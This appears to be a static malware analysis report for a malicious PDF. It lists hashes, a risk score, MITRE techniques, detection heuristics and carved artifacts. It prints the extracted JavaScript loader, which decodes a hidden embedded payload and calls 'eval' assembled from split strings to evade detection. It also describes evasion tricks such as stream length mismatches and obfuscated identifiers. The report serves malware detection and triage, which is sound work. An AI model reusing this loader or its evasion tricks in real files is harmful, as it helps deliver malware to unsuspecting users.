Malicious PDF — malware analysis report

Static analysis result for SHA-256 af5c18185dae6c2c…

MALICIOUS

PDF

5.9 KB First seen: 2026-05-07
MD5: 0c615510b65923c844d67b5034362ad6 SHA-1: 3a82ad9fc48759b369ec43cbc8408ee054819849 SHA-256: af5c18185dae6c2c1d5523efc696c662a7fbe1e1d71d2288ee721e48519fde28
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass

The PDF file was flagged by a machine learning classifier with high confidence as malicious. It contains embedded JavaScript and an embedded file, indicating a likely attempt to deliver a secondary payload. The ML_NYX_PDF_MALICIOUS heuristic and the presence of embedded JavaScript strongly suggest malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 150300 bytes
SHA-256: dde871f5b5f1cf2b2067e06f183b806bd45f23d91ba42c2f23abc128167da165
Detection
ClamAV: No threats found
Obfuscation or payload: likely
327 of 327 identifiers look randomly generated (e.g. 'BbvTTY3sPv0P9mhq91BbvTTY3sPv0P9mhq92BbvT') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);

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